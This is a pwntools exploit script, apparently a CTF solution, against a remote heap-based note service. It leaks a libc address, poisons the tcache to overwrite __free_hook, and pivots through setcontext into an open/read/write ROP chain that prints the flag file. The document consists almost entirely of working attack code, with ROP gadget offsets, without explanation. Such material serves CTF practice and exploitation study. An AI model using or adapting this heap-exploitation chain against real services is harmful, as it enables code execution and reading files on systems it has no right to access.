1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150
| from pwn import *
p=remote('120.79.220.233',41764) libc=ELF('./libc-2.31.so') context.log_level='debug'
def add(size,content): p.sendlineafter('Your choose which one?\n','1') p.sendlineafter('please input note size : ',str(size)) p.sendlineafter('note.\n',content) def edit(idx,content): p.sendlineafter('Your choose which one?\n','2') p.sendlineafter('index.\n',str(idx)) p.sendafter('note.',content) def show(idx): p.sendlineafter('Your choose which one?\n','3') p.sendlineafter('index.\n',str(idx)) def free(idx): p.sendlineafter('Your choose which one?\n','4') p.sendlineafter('index.\n',str(idx))
heap_array=0x40E0 for i in range(8): add(0xb0,b'aaaa')
add(0x28,b'topchunk') for i in range(7): free(i) free(7) add(0x28,b'a'*7)
show(0) p.recvuntil('\x0a') libc_base=u64(p.recv(6).ljust(8,b'\x00'))-0x1ecc90 free_hook=libc.sym['__free_hook']+libc_base pop_rdi=0x0000000000023b72+libc_base pop_rsi=0x000000000002604f+libc_base pop_rdx_r12=0x0000000000119241+libc_base pop_rax=0x0000000000047400+libc_base
gadget=0x00000000001518b0+libc_base rop_addr=free_hook-0x100 flag_addr=free_hook-0x120 my_flag=free_hook+0x100 setcontext=libc.sym['setcontext']+61+libc_base syscall=0x000000000002284d+libc_base syscall_ret=0x00000000000630d9+libc_base ret_addr=0x00000000000beeb1+libc_base free(0)
for i in range(7): add(0xb0,b'aaaa') ''' chunk 9 0x31 chunk 10 0x31 chunk 11 0x31 chunk 8 0x31 chunk 7 0x31 chunk 12 0x31 #topchunk
'''
add(0x28,b'aaaa') add(0x28,b'aaaa') add(0x28,b'aaaa') add(0x28,b'aaaa') add(0x28,b'aaaa')
add(0xb0,b'aaaa')
edit(9,b'\x00'*0x28+b'\xc1')
add(0xb0,b'aaaa') free(14)
free(10) add(0xb0,b'aaaa')
edit(10,b'\x00'*0x28+p64(0xc1)+b'\n') free(11) edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120)+b'\n') success('libc_base=>'+hex(libc_base)) success('free=>'+hex(free_hook)) success("set=>"+hex(setcontext))
add(0xb0,b'aaaa')
payload=b'/home/pwn/flag' payload=payload.ljust(0x10,b'\x00') payload+=p64(rop_addr)*2
payload+=p64(pop_rdi) payload+=p64(flag_addr) payload+=p64(pop_rsi) payload+=p64(0) payload+=p64(pop_rax) payload+=p64(2) payload+=p64(syscall_ret)
payload+=p64(pop_rdi)+p64(6) payload+=p64(pop_rsi)+p64(my_flag) payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0) payload+=p64(pop_rax)+p64(0) payload+=p64(syscall_ret)
payload+=p64(pop_rdi)+p64(1) payload+=p64(pop_rsi)+p64(my_flag) payload+=p64(pop_rdx_r12)+p64(0x50)+p64(0) payload+=p64(pop_rax)+p64(1) payload+=p64(syscall_ret)
add(0xb0,payload[:0xb0])
add(0xb0,b'aaaa') free(15) free(11) edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook-0x120+0xb0)+b'\n') add(0xb0,b'aaaa') add(0xb0,b'aaaa') payload2=payload[0xb0:] payload2=payload2.ljust(0x70,b'\x00') payload2+=p64(0)+b'\n' edit(15,payload2)
add(0xb0,b'aaaa') free(16) free(11) edit(10,b'\x00'*0x28+p64(0xc1)+p64(free_hook)+b'\n')
add(0xb0,b'aaaa') add(0xb0,b'aaaa')
payload=p64(gadget)+p64(free_hook)+p64(0)*2+p64(setcontext) payload=payload.ljust(0xa0,b'\x00') payload+=p64(rop_addr)+p64(ret_addr)+b'\n' edit(16,payload)
free(16)
p.interactive()
|